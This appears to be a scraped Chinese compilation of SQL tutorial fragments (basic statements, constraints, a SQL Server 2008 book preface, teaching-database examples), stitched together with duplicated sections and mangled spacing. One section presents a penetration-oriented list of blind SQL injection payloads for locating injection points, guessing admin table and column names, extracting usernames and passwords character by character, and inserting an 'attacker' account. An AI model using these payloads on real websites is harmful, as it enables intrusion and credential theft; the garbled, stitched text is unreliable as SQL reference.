我们用以下的例子来看看实际上是怎么用的。假设我们有以下这个表格： store_name Sales Date Los Angeles $1500 Jan-05-1999 San Diego $250 Jan-07-1999 Los Angeles $300 Jan-08-1999 Boston $700 Jan-08-1999
一、基础 1、说明：创建数据库 CREATE DATABASE database-name 2、说明：删除数据库 drop database dbname 3、说明：备份sql server --- 创建备份数据的 device USE master EXEC sp_addumpdevice 'disk', 'testBack', 'c:\mssql7backup\MyNwind_1. dat' --- 开始备份 BACKUP DATABASE pubs TO testBack 4、说明：创建新表 create table tabname(col1 type1 [not null] [primary key],col2 type2 [not null],..) 根据已有的表创建新表： A：create table tab_new like tab_old (使用旧表创建新表) B：create table tab_new as select col1,col2… from tab_old definition only 5、说明：删除新表 drop table tabname 6、说明：增加一个列 Alter table tabname add column col type 注：列增加后将不能删除。DB2中列加上后数据类型也不能改变，唯一能改变的是增加varchar类型的长度。 7、说明：添加主键：Alter table tabname add primary key(col) 说明：删除主键： Alter table tabname drop primary key(col) 8、说明：创建索引：create [unique] index idxname on tabname(col….) 删除索引：drop index idxname 注：索引是不可更改的，想更改必须删除重新建。 9、说明：创建视图：create view viewname as select statement 删除视图：drop view viewname 10、说明：几个简单的基本的sql语句 选择：select * from table1 where 范围 插入：insert into table1(field1,field2) values(value1,value2) 删除：delete from table1 where 范围 更新：update table1 set field1=value1 where 范围 查找：select * from table1 where field1 like ’%value1%’ ---like的语法很精妙，查资料! 排序：select * from table1 order by field1,field2 [desc] 总数：select count as totalcount from table1
一、基础(建表、建约束、关系) 约束（Constraint）是Microsoft SQL Server 提供的自动保持数据库完整性的一种方法，定义了可输入表或表的单个列中的数据的限制条件（有关数据完整性的介绍请参见第9 章）。在SQL Server 中有5 种约束：主关键字约束（Primary Key Constraint）、外关键字约束（Foreign Key Constraint）、惟一性约束（Unique Constraint）、检查约束（Check Constraint）和缺省约束（Default Constraint）。 (最后几页介绍SQL基础约束) 1、说明：创建数据库 CREATE DATABASE database-name 2、说明：删除数据库 drop database dbname 3、说明：备份sql server --- 创建备份数据的 device USE master EXEC sp_addumpdevice 'disk', 'testBack', 'c:\mssql7backup\MyNwind_1. dat' --- 开始备份 BACKUP DATABASE pubs TO testBack 4、说明：创建新表 create table tabname(col1 type1 [not null] [primary key],col2 type2 [not null],..) --建表、建约束、关系 create table tableok ( col1 int, col2_notnull int not null, col3_default nchar(1) not null default('男'), --默认男 col4_default datetime not null default(getdate()), --默认得到系统时间 col5_check int not null check(col5_check>=18 and col5_check<= 55),--添加约束，数据值在18到55之间 col6_check nchar(9) not null check(col6_check like 'msd0902[0-9][^ 6-9]'), --添加约束，数据值前7位必须是‘msd0902’，倒数第两位可以是0-9中任意一个数字，最后一位不是6-9之间的数字。 cola_primary nchar(5) not null primary key, --建立主键 colb_unique int unique, --唯一约束 col7_Identity int not null identity(100,1), --自增长，从100开始，每列值增加1个
SQL 教程 1）SQL 简介 SQL(Structured Query Language，结构查询语言)是一个功能强大的数据库语言。SQL通常使用于数据库的通讯。ANSI（美国国家标准学会）声称，SQL是关系数据库管理系统的标准语言。SQL语句通常用于完成一些数据库的操作任务，比如在数据库中更新数据，或者从数据库中检索数据。使用SQL的常见关系数据库管理系统有：Oracle、 Sybase、 Mi crosoft SQL Server、 Access、 Ingres等等。虽然绝大多数的数据库系统使用SQL，但是它们同样有它们自立另外的专有扩展功能用于它们的系统。但是，标准的SQL命令，比如"Select"、 "Insert"、 "Update"、 "Delete"、 "Create"和 "Drop"常常被用于完成绝大多数数据库的操作。 但是，不像其它的语言，如C、Pascal等，SQL没有循环结构（比如if-then-else、d o-while）以及函数定义等等的功能。而且SQL只有一个数据类型的固定设置，换句话说，你不能在使用其它编程语言的时候创建你自己的数据类型。 SQL功能强大，但是概括起来，它可以分成以下几组： DML（Data Manipulation Language，数据操作语言）：用于检索或者修改数据； DDL（Data Definition Language，数据定义语言）：用于定义数据的结构，比如创建、修改或者删除数据库对象； DCL（Data Control Language，数据控制语言）：用于定义数据库用户的权限。 2）SQL 常用语句 2．1 ??SELECT 语句 作用：SELECT 语句用于从表中选取数据。结果被存储在一个结果表中（称为结果集）。 语法：
数据库经典SQL语句大全 篇一：经典SQL语句大全 下列语句部分是Mssql语句，不可以在access中使用。 SQL分类： DDL—数据定义语言(CREATE，ALTER，DROP，DECLARE) DML—数据操纵语言(SELECT，DELETE，UPDATE，INSERT) DCL—数据控制语言(GRANT，REVOKE，COMMIT，ROLLBACK) 首先，简要介绍基础语句： 1、说明：创建数据库 CREATE DATABASE database-name 2、说明：删除数据库 drop database dbname 3、说明：备份sql server --- 创建备份数据的 device USE master EXEC sp_addumpdevice 'disk'，'testBack'， 'c:mssql7backupMyNwind_1.dat' --- 开始备份 BACKUP DATABASE pubs TO testBack 4、说明：创建新表
create table tabname(col1 type1 [not null] [primary key]，col2 type2 [not null]，..) 根据已有的表创建新表： A：create table tab_new like tab_old (使用旧表创建新表) B：create table tab_new as select col1，col2? from tab_old definition only 5、说明： 删除新表： tabname 6、说明： 增加一个列：Alter table tabname add column col type 注：列增加后将不能删除。DB2中列加上后数据类型也不能改变，唯一能改变的是增加varchar类型的长度。 7、说明： 添加主键：Alter table tabname add primary key(col) 说明： 删除主键：Alter table tabname drop primary key(col) 8、说明： 创建索引：create [unique] index idxname on tabname(col?.) 删除索引：drop index idxname 注：索引是不可更改的，想更改必须删除重新建。
Microsoft SQL Server 2008 R2
SQL Server 2008基础教程前言 前言 本书针对那些想成为开发人员、数据库管理员或者兼为两者，但对SQL Server 2008还不熟悉的读者。无论你是否拥有数据库知识，是否了解桌面数据库（如Microsoft Access），甚至是否具有服务器（如Oracle）的背景，本书都能为你提供SQL Server 2008入门和运行的知识。 从现在开始，本书将使你的基础知识得以扩展，让你很快从初学者成长为合格的专业开发人员。本书面向广大开发人员，从喜欢使用图形界面的程序员，到希望成为SQL Server 2008编程语言Transact SQL（T-SQL）高手的程序员。本书将尽可能贴近实际地演示、说明和展开叙述每一种使用SQL Server 2008的方法，以便你能够判断哪种方式最适合自己。 本书包含大量的示例，以使你了解SQL Server的各个领域是如何工作的，以及怎样才能把技术应用到自己的工作中。你将学习完成某项任务的最佳方法，你甚至能学会在面临两个或更多的选择时，如何做出正确的决策。只要学习完本书，你就能游刃有余地设计和创建坚实可靠的数据库解决方案。 读者对象 本书适用的对象是刚开始使用SQL Server 2008的开发人员，或立志成为数据库管理人员的读者。本书在结构安排上兼顾了这两类读者。 本书的结构 本书将帮助你决定购买SQL Server 2008的哪种版本，为你展示如何安装和配置SQL Server 2008，并阐释如何使用图形用户界面工具SSMS（SQL Server Management Studio）。你将使用该工具完成一个功能完备的数据库示例，该数据库根据本书中介绍的设计方案，利用图形的和基于代码的练习创建而成。然后，你将学习数据库安全方面的知识，并了解如何实施安全可靠的数据库设置。只要备份了数据库，你就可以学习如何操作数据。先从简单的代码编写技术入手，逐渐过渡到更加复杂的技术。最后的任务是在数据库上创建和生成报表。本书会贯穿始终地说明每一个细节，告知你正在发生什么，并确保随着对本书阅读的深入，你将在从之前章节中获取的知识上，不断提高。你将以一种有条理、有组织的方式发展构筑自己的专业知识。 必要准备 要学习本书，你必须有SQL Server 2008开发版本的完整版或评估版。此外，如果想要为特定的Windows登录更改安全设置，有Windows Vista旗舰版或商业版将十分理想，但并非必须如此。
数据库基本SQL语句大全 数据库基本----SQL语句大全 一、基础 1、说明:创建数据库 Create DATABASE database-name 2、说明:删除数据库 drop database dbname 3、说明:备份sql server --- 创建备份数据的device USE master EXEC sp_addumpdevice 'disk', 'testBack', 'c:\mssql7backup\MyNwind_1、d at' --- 开始备份 BACKUP DATABASE pubs TO testBack 4、说明:创建新表 create table tabname(col1 type1 [not null] [primary key],col2 typ e2 [not null],、、) 根据已有的表创建新表: A:create table tab_new like tab_old (使用旧表创建新表) B:create table tab_new as select col1,col2…from tab_old definit ion only 5、说明:删除新表 drop table tabname 6、说明:增加一个列 Alter table tabname add column col type 注:列增加后将不能删除。DB2中列加上后数据类型也不能改变,唯一能改变的就是增加varchar类型的长度。 7、说明:添加主键: Alter table tabname add primary key(col) 说明:删除主键: Alter table tabname drop primary key(col) 8、说明:创建索引:create [unique] index idxname on tabname(col…、) 删除索引:drop index idxname 注:索引就是不可更改的,想更改必须删除重新建。 9、说明:创建视图:create view viewname as select statement
SQL语句实例 表操作 例 1 对于表的教学管理数据库中的表STUDENTS ，可以定义如下：CREATE TABLE STUDENTS (SNO NUMERIC (6, 0) NOT NULL SNAME CHAR (8) NOT NULL AGE NUMERIC(3,0) SEX CHAR(2) BPLACE CHAR(20) PRIMARY KEY(SNO)) 例 2 对于表的教学管理数据库中的表ENROLLS ，可以定义如下： CREATE TABLE ENROLLS (SNO NUMERIC(6,0) NOT NULL CNO CHAR(4) NOT NULL GRADE INT PRIMARY KEY(SNO,CNO) FOREIGN KEY(SNO) REFERENCES STUDENTS(SNO) FOREIGN KEY(CNO) REFERENCES COURSES(CNO) CHECK ((GRADE IS NULL) OR (GRADE BETWEEN 0 AND 100))) 例 3 根据表的STUDENTS 表，建立一个只包含学号、姓名、年龄的女学生表。 CREATE TABLE GIRL
AS SELECT SNO, SNAME, AGE FROM STUDENTS WHERE SEX=' 女'; 例 4 删除教师表TEACHER 。 DROP TABLE TEACHER 例 5 在教师表中增加住址列。 ALTER TABLE TEACHERS ADD (ADDR CHAR(50)) 例 6 把STUDENTS 表中的BPLACE 列删除，并且把引用BPLACE 列的所有视图和约束也一起删除。 ALTER TABLE STUDENTS DROP BPLACE CASCADE 例7 补充定义ENROLLS 表的主关键字。 ALTER TABLE ENROLLS ADD PRIMARY KEY (SNO,CNO) ； 视图操作（虚表） 例9 建立一个只包括教师号、姓名和年龄的视图FACULTY 。( 在视图定义中不能包含ORDER BY 子句) CREATE VIEW FACULTY AS SELECT TNO, TNAME, AGE FROM TEACHERS 例10 从学生表、课程表和选课表中产生一个视图GRADE_TABLE ，它包括学生姓名、课程名和成绩。 CREATE VIEW GRADE_TABLE AS SELECT SNAME,CNAME,GRADE FROM STUDENTS,COURSES,ENROLLS WHERE STUDENTS.SNO ＝ENROLLS.SNO AND https://www.doczj.com/doc/349712262.html,O=https://www.doczj.com/doc/349712262.html,O 例11 删除视图GRADE_TABLE DROP VIEW GRADE_TABLE RESTRICT 索引操作 例12 在学生表中按学号建立索引。 CREATE UNIQUE INDEX ST ON STUDENTS (SNO,ASC) 例13 删除按学号所建立的索引。 DROP INDEX ST 数据库模式操作
SQL语句大全--语句功能 --数据操作 SELECT --从数据库表中检索数据行和列 INSERT --向数据库表添加新数据行 DELETE --从数据库表中删除数据行 UPDATE --更新数据库表中的数据 -数据定义 CREATE TABLE --创建一个数据库表 DROP TABLE --从数据库中删除表 ALTER TABLE --修改数据库表结构 CREATE VIEW --创建一个视图 DROP VIEW --从数据库中删除视图 CREATE INDEX --为数据库表创建一个索引 DROP INDEX --从数据库中删除索引 CREATE PROCEDURE --创建一个存储过程 DROP PROCEDURE --从数据库中删除存储过程CREATE TRIGGER --创建一个触发器 DROP TRIGGER --从数据库中删除触发器 CREATE SCHEMA --向数据库添加一个新模式DROP SCHEMA --从数据库中删除一个模式CREATE DOMAIN --创建一个数据值域 ALTER DOMAIN --改变域定义 DROP DOMAIN --从数据库中删除一个域 --数据控制 GRANT --授予用户访问权限 DENY --拒绝用户访问 REVOKE --解除用户访问权限 --事务控制 COMMIT --结束当前事务 ROLLBACK --中止当前事务 SET TRANSACTION --定义当前事务数据访问特征 --程序化SQL DECLARE --为查询设定游标 EXPLAN --为查询描述数据访问计划 OPEN --检索查询结果打开一个游标
SQL Server 2008基础教程 前言 本书针对那些想成为开发人员、数据库管理员或者兼为两者，但对SQL Server 2008还不熟悉的读者。无论你是否拥有数据库知识，是否了解桌面数据库（如Microsoft Access），甚至是否具有服务器（如Oracle）的背景，本书都能为你提供SQL Server 2008入门和运行的知识。 从现在开始，本书将使你的基础知识得以扩展，让你很快从初学者成长为合格的专业开发人员。本书面向广大开发人员，从喜欢使用图形界面的程序员，到希望成为SQL Server 2008编程语言Transact SQL（T-SQL）高手的程序员。本书将尽可能贴近实际地演示、说明和展开叙述每一种使用SQL Server 2008的方法，以便你能够判断哪种方式最适合自己。 本书包含大量的示例，以使你了解SQL Server的各个领域是如何工作的，以及怎样才能把技术应用到自己的工作中。你将学习完成某项任务的最佳方法，你甚至能学会在面临两个或更多的选择时，如何做出正确的决策。只要学习完本书，你就能游刃有余地设计和创建坚实可靠的数据库解决方案。 读者对象 本书适用的对象是刚开始使用SQL Server 2008的开发人员，或立志成为数据库管理人员的读者。本书在结构安排上兼顾了这两类读者。 本书的结构 本书将帮助你决定购买SQL Server 2008的哪种版本，为你展示如何安装和配置SQL Server 2008，并阐释如何使用图形用户界面工具SSMS（SQL Server Management Studio）。你将使用该工具完成一个功能完备的数据库示例，该数据库根据本书中介绍的设计方案，利用图形的和基于代码的练习创建而成。然后，你将学习数据库安全方面的知识，并了解如何实施安全可靠的数据库设置。只要备份了数据库，你就可以学习如何操作数据。先从简单的代码编写技术入手，逐渐过渡到更加复杂的技术。最后的任务是在数据库上创建和生成报表。本书会贯穿始终地说明每一个细节，告知你正在发生什么，并确保随着对本书阅读的深入，你将在从之前章节中获取的知识上，不断提高。你将以一种有条理、有组织的方式发展构筑自己的专业知识。 必要准备 要学习本书，你必须有SQL Server 2008开发版本的完整版或评估版。此外，如果想要为特定的Windows登录更改安全设置，有Windows Vista旗舰版或商业版将十分理想，但并非必须如此。
SQL 基础教程 数据库表 一个数据库通常包含一个或多个表。每个表由一个名字标识（例如“客户”或者“订单”）。表包含带有数据的记录（行）。 下面的例子是一个名为 "Persons" 的表： 上面的表包含三条记录（每一条对应一个人）和五个列（Id、姓、名、地址和城市）。 SQL 语句 您需要在数据库上执行的大部分工作都由 SQL 语句完成。 下面的语句从表中选取 LastName 列的数据： SELECT LastName FROM Persons 结果集类似这样： Carter 在本教程中，我们将为您讲解各种不同的 SQL 语句。 重要事项：一定要记住，SQL 对大小写不敏感！ SQL 语句后面的分号？：某些数据库系统要求在每条 SQL 命令的末端使用分号。在我们的教程中不使用分号。 分号是在数据库系统中分隔每条 SQL 语句的标准方法，这样就可以在对服务器的相同请求中执行一条以上的语句。
如果您使用的是 MS Access 和 SQL Server 2000，则不必在每条 SQL 语句之后使用分号，不过某些数据库软件要求必须使用分号。 SQL DML 和 DDL 可以把 SQL 分为两个部分：数据操作语言 (DML) 和数据定义语言 (DDL)。 SQL (结构化查询语言)是用于执行查询的语法。但是 SQL 语言也包含用于更新、插入和删除记录的语法。 查询和更新指令构成了 SQL 的 DML 部分： ?SELECT - 从数据库表中获取数据 ?UPDATE - 更新数据库表中的数据 ?DELETE - 从数据库表中删除数据 ?INSERT INTO - 向数据库表中插入数据 SQL 的数据定义语言 (DDL) 部分使我们有能力创建或删除表格。我们也可以定义索引（键），规定表之间的链接，以及施加表间的约束。 SQL 中最重要的 DDL 语句: ?CREATE DATABASE - 创建新数据库 ?ALTER DATABASE - 修改数据库 ?CREATE TABLE - 创建新表 ?ALTER TABLE - 变更（改变）数据库表 ?DROP TABLE - 删除表 ?CREATE INDEX - 创建索引（搜索键） ?DROP INDEX - 删除索引 SQL SELECT 语句 SELECT 语句用于从表中选取数据。 结果被存储在一个结果表中（称为结果集）。 SQL SELECT 语法 SELECT 列名称 FROM 表名称 以及： SELECT * FROM 表名称
渗透常用S Q L注入语句大 全 Prepared on 22 November 2020
1.判断有无注入点 ;and1=1and1=2 2.猜表一般的表的名称无非是adminadminuseruserpasspassword 等.. and0<>(selectcount(*)from*) and0<>(selectcount(*)fromadmin)—判断是否存在admin 这张表 3.猜帐号数目如果遇到0<返回正确页面1<返回错误页面说明帐号数目就是1个 and0<(selectcount(*)fromadmin) and1<(selectcount(*)fromadmin) 4.猜解字段名称在len()括号里面加上我们想到的字段名称. 1 2 3 and 1=(selectcount(*)fromadminwherelen(*)>0)– and 1=(selectcount(*)fromadminwherelen(用户字段名称name)>0) and 1=(selectcount(*)fromadminwherelen(_blank>密码字段名称password)>0) 5.猜解各个字段的长度猜解长度就是把>0变换直到返回正确页面为止 1 2 3 4 5 6 7 8 and 1=(selectcount(*)fromadminwherelen(*)>0) and 1=(selectcount(*)fromadminwherelen(name)>6)错误 and 1=(selectcount(*)fromadminwherelen(name)>5)正确长度是6 and 1=(selectcount(*)fromadminwherelen(name)=6)正确 and 1=(selectcount(*)fromadminwherelen(password)>11)正确 and 1=(selectcount(*)fromadminwherelen(password)>12)错误长度是12 and 1=(selectcount(*)fromadminwherelen(password)=12)正确 6.猜解字符 and1=(selectcount(*)fromadminwhereleft(name,1)=a)—猜解用户帐号的第一位 and1=(selectcount(*)fromadminwhereleft(name,2)=ab)—猜解用户帐号的第二位 就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了 and1=(selecttop1count(*)fromAdminwhereAsc(mid(pass,5,1))=51)– 这个查询语句可以猜解中文的用户和_blank>密码.只要把后面的数字换成中文的ASSIC 码就OK.最后把结果再转换成字符. 1 2 3 4 =1 ,,,=1– ;insertintousersvalues(666,attacker,foobar,0xffff )– UNIONSelectTOP 1COLUMN_blank>_NAMEFROMINFORMATION_blank>>_NAME=logintab
SQL-入门新手教程(重要)
SQL 是用于访问和处理数据库的标准的计算机语言。 什么是SQL？ ?SQL 指结构化查询语言 ?SQL 使我们有能力访问数据库 ?SQL 是一种ANSI 的标准计算机语言编者注：ANSI，美国国家标准化组织SQL 能做什么？ ?SQL 面向数据库执行查询 ?SQL 可从数据库取回数据 ?SQL 可在数据库中插入新的纪录 ?SQL 可更新数据库中的数据 ?SQL 可从数据库删除记录 ?SQL 可创建新数据库 ?SQL 可在数据库中创建新表 ?SQL 可在数据库中创建存储过程 ?SQL 可在数据库中创建视图 ?SQL 可以设置表、存储过程和视图的权限 SQL 是一种标准- 但是... SQL 是一门ANSI 的标准计算机语言，用来访问和操作数据库系统。SQL 语句用于取回和更新数据库中的数据。SQL 可与数据库程序协同工作，比如MS Access、DB2、Informix、MS SQL Server、Oracle、Sybase 以及其他数据库系统。 不幸地是，存在着很多不同版本的SQL 语言，但是为了与ANSI 标准相兼容，它们必须以相似的方式共同地来支持一些主要的关键词（比如SELECT、UPDATE、DELETE、INSERT、WHERE 等等）。注释：除了SQL 标准之外，大部分SQL 数据库程序都拥有它们自己的私有扩展！ 在您的网站中使用SQL 要创建发布数据库中数据的网站，您需要以下要素： ?RDBMS 数据库程序（比如MS Access, SQL Server, MySQL） ?服务器端脚本语言（比如PHP 或ASP） ?SQL ?HTML / CSS
经典实用SQL语句大全总结 [编辑语言]2015-05-26 19:56 本文导航 1、首页 2、11、说明：四表联查问题： 本文是经典实用SQL语句大全的介绍，下面是该介绍的详细信息。 下列语句部分是Mssql语句，不可以在access中使用。 SQL分类： DDL—数据定义语言(CREATE，ALTER，DROP，DECLARE) DML—数据操纵语言(SELECT，DELETE，UPDATE，INSERT) DCL—数据控制语言(GRANT，REVOKE，COMMIT，ROLLBACK) 首先,简要介绍基础语句： 1、说明：创建数据库 CREATE DATABASE database-name 2、说明：删除数据库 drop database dbname 3、说明：备份sql server --- 创建备份数据的device USE master EXEC sp_addumpdevice 'disk', 'testBack', 'c:\mssql7backup\MyNwind_1.dat' --- 开始备份 BACKUP DATABASE pubs TO testBack
4、说明：创建新表 create table tabname(col1 type1 [not null] [primary key],col2 type2 [not null],..) 根据已有的表创建新表： A：create table tab_new like tab_old (使用旧表创建新表) B：create table tab_new as select col1,col2…from tab_old definition only 5、说明： 删除新表：drop table tabname 6、说明： 增加一个列：Alter table tabname add column col type 注：列增加后将不能删除。DB2中列加上后数据类型也不能改变，唯一能改变的是增加varchar类型的长度。 7、说明： 添加主键：Alter table tabname add primary key(col) 说明： 删除主键：Alter table tabname drop primary key(col) 8、说明： 创建索引：create [unique] index idxname on tabname(col….) 删除索引：drop index idxname 注：索引是不可更改的，想更改必须删除重新建。 9、说明：